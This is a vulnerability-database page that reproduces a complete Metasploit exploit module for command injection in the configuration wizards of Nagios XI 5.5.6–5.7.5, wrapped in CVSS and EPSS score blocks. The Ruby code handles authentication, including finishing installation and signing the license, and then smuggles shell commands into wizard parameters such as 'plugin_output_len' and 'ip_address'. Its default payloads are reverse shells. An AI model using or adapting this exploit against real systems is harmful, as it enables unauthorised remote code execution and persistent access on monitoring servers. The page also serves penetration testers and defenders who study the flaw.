Lucene search

K
zdtMetasploit1337DAY-ID-38194
HistoryFeb 13, 2023 - 12:00 a.m.

Nagios XI 5.7.5 Remote Code Execution Exploit

2023-02-1300:00:00
metasploit
0day.today
213

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%

This Metasploit module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm configuration wizards that allow an authenticated user to perform remote code execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user. Valid credentials for a Nagios XI user are required. This module has been successfully tested against official NagiosXI OVAs versions 5.5.6 through 5.7.5.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.6 to 5.7.5 - ConfigWizards Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298, which are
          OS command injection vulnerabilities in the windowswmi, switch, and cloud-vm
          configuration wizards that allow an authenticated user to perform remote code
          execution on Nagios XI versions 5.5.6 to 5.7.5 as the apache user.

          Valid credentials for a Nagios XI user are required. This module has
          been successfully tested against official NagiosXI OVAs from 5.5.6-5.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Matthew Mathur'
        ],
        'References' => [
          ['CVE', '2021-25296'],
          ['CVE', '2021-25297'],
          ['CVE', '2021-25298'],
          ['URL', 'https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md']
        ],
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => [ ARCH_X86 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => [ ARCH_X64 ],
              'Platform' => 'linux',
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'CMD', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'unix',
              # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }
            }
          ]
        ],
        'Privileged' => false,
        'DefaultTarget' => 2,
        'DisclosureDate' => '2021-02-13',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('TARGET_CVE', [true, 'CVE to exploit (CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298)', 'CVE-2021-25296'])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  # Returns a status code an a error message on failure.
  # On success returns the status code and an array so we
  # can update the login_result and res_array variables appropriately.
  def handle_unsigned_license(res_array, username, password, finish_install)
    auth_cookies, nsp = res_array
    sign_license_result = sign_license_agreement(auth_cookies, nsp)
    if sign_license_result
      return 5, 'Failed to sign license agreement'
    end

    print_status('License agreement signed. The module will wait for 5 seconds and retry the login.')
    sleep 5
    login_result, res_array = login_after_install_or_license(username, password, finish_install)
    case login_result
    when 1..4 # An error occurred, propagate the error message
      return login_result, res_array[0]
    when 5 # The Nagios XI license agreement still has not been signed
      return 5, 'Failed to sign the license agreement.'
    end

    return login_result, res_array
  end

  def authenticate
    # Use nagios_xi_login to try and authenticate.
    login_result, res_array = nagios_xi_login(username, password, finish_install)
    case login_result
    when 1..3 # An error occurred, propagate the error message
      return login_result, res_array[0]
    when 4 # Nagios XI is not fully installed
      install_result = install_nagios_xi(password)
      if install_result # On installation failure, result is an array with the code and error message
        return install_result[0], install_result[1]
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..4 # An error occurred, propagate the error message
        return login_result, res_array[0]
      when 5 # The license agreement still needs to be signed
        login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
        return login_result, res_array unless (login_result == 0)
      end
    when 5 # The license agreement still needs to be signed
      login_result, res_array = handle_unsigned_license(res_array, username, password, finish_install)
      return login_result, res_array unless (login_result == 0)
    end

    print_good('Successfully authenticated to Nagios XI.')
    # Extract the authenticated cookies and nsp to use throughout the module
    if res_array.length == 2
      auth_cookies = res_array[1]
      if auth_cookies && /nagiosxi=[a-z0-9]+;/.match(auth_cookies)
        @auth_cookies = auth_cookies
      else
        return login_result, 'Failed to extract authentication cookies'
      end
      nsp = res_array[0].match(/nsp_str = "([a-z0-9]+)/)
      if nsp
        @nsp = nsp[1]
      else
        return login_result, 'Failed to extract nsp string'
      end
    else
      return login_result, 'Failed to extract auth cookies and nsp string'
    end

    # Set the version here so both check and exploit can use it
    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return 6, 'Unable to obtain the Nagios XI version from the dashboard'
    end

    print_status("Target is Nagios XI with version #{nagios_version}.")

    # Versions of NagiosXI pre-5.2 have different formats (5r1.0, 2014r2.7, 2012r2.8b, etc.) that Rex cannot handle,
    # so we set pre-5.2 versions to 1.0.0 for easier Rex comparison because the module only works on post-5.2 versions.
    if /^\d{4}r\d(?:\.\d)?(?:(?:RC\d)|(?:[a-z]{1,3}))?$/.match(nagios_version) || nagios_version == '5r1.0'
      nagios_version = '1.0.0'
    end
    @version = Rex::Version.new(nagios_version)

    return 0, 'Successfully authenticated and retrieved NagiosXI Version.'
  end

  def check
    # Authenticate to ensure we can access the NagiosXI version
    auth_result, err_msg = authenticate
    case auth_result
    when 1
      return CheckCode::Unknown(err_msg)
    when 2, 4, 5, 6
      return CheckCode::Detected(err_msg)
    when 3
      return CheckCode::Safe(err_msg)
    end

    if @version >= Rex::Version.new('5.5.6') && @version <= Rex::Version.new('5.7.5')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def execute_command(cmd, _opts = {})
    if !@nsp || !@auth_cookies # Check to see if we already authenticated during the check
      auth_result, err_msg = authenticate
      case auth_result
      when 1
        fail_with(Failure::Disconnected, err_msg)
      when 2, 4, 5, 6
        fail_with(Failure::UnexpectedReply, err_msg)
      when 3
        fail_with(Failure::NotVulnerable, err_msg)
      end
    end

    # execute payload based on the selected targeted configuration wizard
    url_params = {
      'update' => 1,
      'nsp' => @nsp
    }
    # After version 5.5.7, the URL parameter used in CVE-2021-25297 and CVE-2021-25298
    # changes from address to ip_address
    if @version <= Rex::Version.new('5.5.7')
      address_param = 'address'
    else
      address_param = 'ip_address'
    end

    # CVE-2021-25296 affects the windowswmi configuration wizard.
    if datastore['TARGET_CVE'] == 'CVE-2021-25296'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'windowswmi',
        'ip_address' => Array.new(4) { rand(256) }.join('.'),
        'domain' => Rex::Text.rand_text_alphanumeric(7..15),
        'username' => Rex::Text.rand_text_alphanumeric(7..20),
        'password' => Rex::Text.rand_text_alphanumeric(7..20),
        'plugin_output_len' => Rex::Text.rand_text_numeric(5) + "; #{cmd};"
      })
    # CVE-2021-25297 affects the switch configuration wizard.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25297'
      url_params = url_params.merge({
        'nextstep' => 3,
        'wizard' => 'switch',
        address_param => Array.new(4) { rand(256) }.join('.') + "\"; #{cmd};",
        'snmpopts[snmpcommunity]' => Rex::Text.rand_text_alphanumeric(7..15),
        'scaninterfaces' => 'on'
      })
    # CVE-2021-25298 affects the cloud-vm configuration wizard, which we can access by
    # specifying the digitalocean option for the wizard parameter.
    elsif datastore['TARGET_CVE'] == 'CVE-2021-25298'
      url_params = url_params.merge({
        address_param => Array.new(4) { rand(256) }.join('.') + "; #{cmd};",
        'nextstep' => 4,
        'wizard' => 'digitalocean'
      })
    else
      fail_with(Failure::BadConfig, 'Invalid TARGET_CVE: Choose CVE-2021-25296, CVE-2021-25297, or CVE-2021-25298.')
    end

    print_status('Sending the payload...')
    # Send the final request. Note that the target is not expected to respond if we get
    # code execution. Therefore, we set the timeout on this request to 0.
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/nagiosxi/config/monitoringwizard.php',
      'cookie' => @auth_cookies,
      'vars_get' => url_params
    })
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

0.972 High

EPSS

Percentile

99.8%